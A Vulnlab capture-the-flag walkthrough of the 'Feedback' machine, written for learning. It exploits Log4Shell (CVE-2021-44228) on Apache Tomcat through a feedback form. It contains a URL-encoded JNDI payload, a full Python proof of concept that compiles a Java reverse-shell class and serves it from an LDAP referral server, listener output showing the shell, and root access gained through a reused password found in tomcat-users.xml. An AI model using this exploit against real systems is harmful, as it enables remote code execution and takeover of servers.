Vulnlab Feedback Walkthrough by Yunolay (Apache Tomcat Log4Shell)

コーヒーの支援お待ちしております☕

I look forward to your coffee support ☕

Buy Me a Coffee

この記事を読むのにかかる時間 6

Vulnlab Feedback Walkthrough by Yunolay (Apache Tomcat Log4Shell)

Overview

  • Feedback (Solo, Linux)

    • Junior Level Linux Machine
    • You will learn about exploiting a popular Java CVE

User

This box was released at the end of 2021 when there was a lot of fuzz about a new vulnerability originally found via Minecraft.

Root

Look for passwords that might be reused.

Nmap Scan

I first scanned it normally with nmap.

$ nmap -sCV -p- --min-rate 5000 10.10.93.209
...
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-29 23:00 EDT
Warning: 10.10.93.209 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.93.209
Host is up (0.28s latency).
Not shown: 64943 closed tcp ports (conn-refused), 590 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b7:4a:0f:08:f3:6d:39:5b:d3:6d:af:49:ba:f9:95:b6 (RSA)
| 256 f0:2d:4c:ce:19:27:77:4a:33:92:2e:d2:5d:21:2a:01 (ECDSA)
|_ 256 f0:38:cb:b1:24:0e:ab:fb:ee:78:4c:e9:75:7f:ac:3e (ED25519)
8080/tcp open http Apache Tomcat 9.0.56
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.56
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...

Apache Tomcat open on port 8080 is interesting.

Web – Apache Tomcat

When I accessed the website, I found that Apache Tomcat/9.0.56 was running.

I did a simple enumeration.

$ gobuster dir -u http://10.10.93.209:8080 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.93.209:8080
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/docs (Status: 302) [Size: 0] [--> /docs/]
/examples (Status: 302) [Size: 0] [--> /examples/]
/favicon.ico (Status: 200) [Size: 21630]
/feedback (Status: 302) [Size: 0] [--> /feedback/]
/manager (Status: 302) [Size: 0] [--> /manager/]
Progress: 40952 / 40954 (100.00%)
===============================================================
Finished
===============================================================

What’s interesting is feedback and manager, but what we should be looking at in terms of the machine name is feedback.

When I visited the feedback page, I came across a form.

Interestingly, it seems to log what we send.

If Apache were vulnerable to Log4Shell, this site would likely be affected.

Let’s send a simple Log4Shell payload.

${jndi:ldap://10.8.0.178:4444/a}

Please note that the payload must be URL-encoded before being sent.

%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%30%2e%38%2e%30%2e%31%37%38%3a%34%34%34%34%2f%61%7d

The name parameter value is altered to Log4Shell payload and the request is sent.

Request:

GET /feedback/logfeedback.action;jsessionid=0331AC54774EAC196405C027E7A3F022?name=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%30%2e%38%2e%30%2e%31%37%38%3a%34%34%34%34%2f%61%7d&feedback=test HTTP/1.1
Host: 10.10.93.209:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.10.93.209:8080/feedback/
Cookie: JSESSIONID=0331AC54774EAC196405C027E7A3F022
Upgrade-Insecure-Requests: 1

We can confirm that there is a connect back from the server.

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.0.178] from (UNKNOWN) [10.10.93.209] 50306
0
`�

User – Tomcat

Java 8 for the JNDI Server was required to create a working shell. While searching, this poc came up well.

The currently downloadable jdk is jdk1.8.0_202, so I had to modify the poc slightly, but it worked fine.

poc.py

#!/usr/bin/env python3

import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()


def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}
""" % (userip, lport)

    # writing the exploit to Exploit.java file

    p = Path("Exploit.java")

    try:
        p.write_text(program)
        subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_202/bin/javac"), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] Something went wrong {e}')
        raise e
    else:
        print(Fore.GREEN + '[+] Exploit java class created success')


def payload(userip: str, webport: int, lport: int) -> None:
    generate_payload(userip, lport)

    print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # create the LDAP server on new thread
    t1 = threading.Thread(target=ldap_server, args=(userip, webport))
    t1.start()

    # start the web server
    print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
    httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
    httpd.serve_forever()


def check_java() -> bool:
    exit_code = subprocess.call([
        os.path.join(CUR_FOLDER, 'jdk1.8.0_202/bin/java'),
        '-version',
    ], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    return exit_code == 0


def ldap_server(userip: str, lport: int) -> None:
    sendme = "${jndi:ldap://%s:1389/a}" % (userip)
    print(Fore.GREEN + f"[+] Send me: {sendme}\n")

    url = "http://{}:{}/#Exploit".format(userip, lport)
    subprocess.run([
        os.path.join(CUR_FOLDER, "jdk1.8.0_202/bin/java"),
        "-cp",
        os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
        "marshalsec.jndi.LDAPRefServer",
        url,
    ])


def main() -> None:
    init(autoreset=True)
    print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
""")

    parser = argparse.ArgumentParser(description='log4shell PoC')
    parser.add_argument('--userip',
                        metavar='userip',
                        type=str,
                        default='localhost',
                        help='Enter IP for LDAPRefServer & Shell')
    parser.add_argument('--webport',
                        metavar='webport',
                        type=int,
                        default='8000',
                        help='listener port for HTTP port')
    parser.add_argument('--lport',
                        metavar='lport',
                        type=int,
                        default='9001',
                        help='Netcat Port')

    args = parser.parse_args()

    try:
        if not check_java():
            print(Fore.RED + '[-] Java is not installed inside the repository')
            raise SystemExit(1)
        payload(args.userip, args.webport, args.lport)
    except KeyboardInterrupt:
        print(Fore.RED + "user interrupted the program.")
        raise SystemExit(0)


if __name__ == "__main__":
    main()

Set up a JNDI Server using poc and send the specified payload.

$ python3 poc.py --userip 10.8.0.178 --webport 8000 --lport 4444

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.8.0.178:1389/a}

[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.8.0.178:8000/Exploit.class
10.10.121.133 - - [30/Oct/2023 04:32:23] "GET /Exploit.class HTTP/1.1" 200 -

As a result, I was able to obtain a shell. Spawn a full bash shell using the “python3 -c ‘import pty;pty.spawn(“/bin/bash”)'” command.

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.0.178] from (UNKNOWN) [10.10.121.133] 51774
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@ip-10-10-10-7:/$

When I looked at the /home directory, I could see the user ubuntu, but there was no user.txt.

tomcat@ip-10-10-10-7:/$ cd /home
cd /home
tomcat@ip-10-10-10-7:/home$ ls
ls
ubuntu
tomcat@ip-10-10-10-7:/home$ cd ubuntu
cd ubuntu
tomcat@ip-10-10-10-7:/home/ubuntu$ ls -al
ls -al
total 32
drwxr-xr-x 5 ubuntu ubuntu 4096 Dec 11 2021 .
drwxr-xr-x 3 root root 4096 Dec 11 2021 ..
lrwxrwxrwx 1 ubuntu ubuntu 9 Dec 11 2021 .bash_history -> /dev/null
-rw-r--r-- 1 ubuntu ubuntu 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Apr 4 2018 .bashrc
drwx------ 2 ubuntu ubuntu 4096 Dec 11 2021 .cache
drwx------ 3 ubuntu ubuntu 4096 Dec 11 2021 .gnupg
-rw-r--r-- 1 ubuntu ubuntu 807 Apr 4 2018 .profile
drwx------ 2 ubuntu ubuntu 4096 Dec 11 2021 .ssh
-rw-r--r-- 1 ubuntu ubuntu 0 Dec 11 2021 .sudo_as_admin_successful

Privilege Escalation – Root

When I was doing a simple enumeration, I looked at the “/opt/tomcat/conf/tomcat-users.xml” file and found that the password was written there.

tomcat@ip-10-10-10-7:~/conf$ pwd
pwd
/opt/tomcat/conf
tomcat@ip-10-10-10-7:~/conf$ ls
ls
catalina.policy jaspic-providers.xml server.xml web.xml
catalina.properties jaspic-providers.xsd tomcat-users.xml
context.xml logging.properties tomcat-users.xsd
tomcat@ip-10-10-10-7:~/conf$ cat tomcat-users.xml
cat tomcat-users.xml
...
<user username="admin" password="H2RR3rGDrbAnPxWa" roles="manager-gui"/>
<user username="robot" password="H2RR3rGDrbAnPxWa" roles="manager-script"/>
...
tomcat@ip-10-10-10-7:~/conf$

This password “H2RR3rGDrbAnPxWa” was also used by root.

tomcat@ip-10-10-10-7:~/conf$ su root
su root
Password: H2RR3rGDrbAnPxWa

root@ip-10-10-10-7:/opt/tomcat/conf# whoami
whoami
root
root@ip-10-10-10-7:/opt/tomcat/conf# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ip-10-10-10-7:/opt/tomcat/conf# cat /root/root.txt
cat /root/root.txt
VL{<REDACTED>}

Thoughts

Although I knew about the vulnerability of Log4Shell, I had never actually exploited it, so it was a good learning experience.
However, escalating privileges to root was very easy.

 Reference

Walkthroughs

コーヒーの支援お待ちしております☕

I look forward to your coffee support ☕

Buy Me a Coffee

シェアする

  • このエントリーをはてなブックマークに追加

フォローする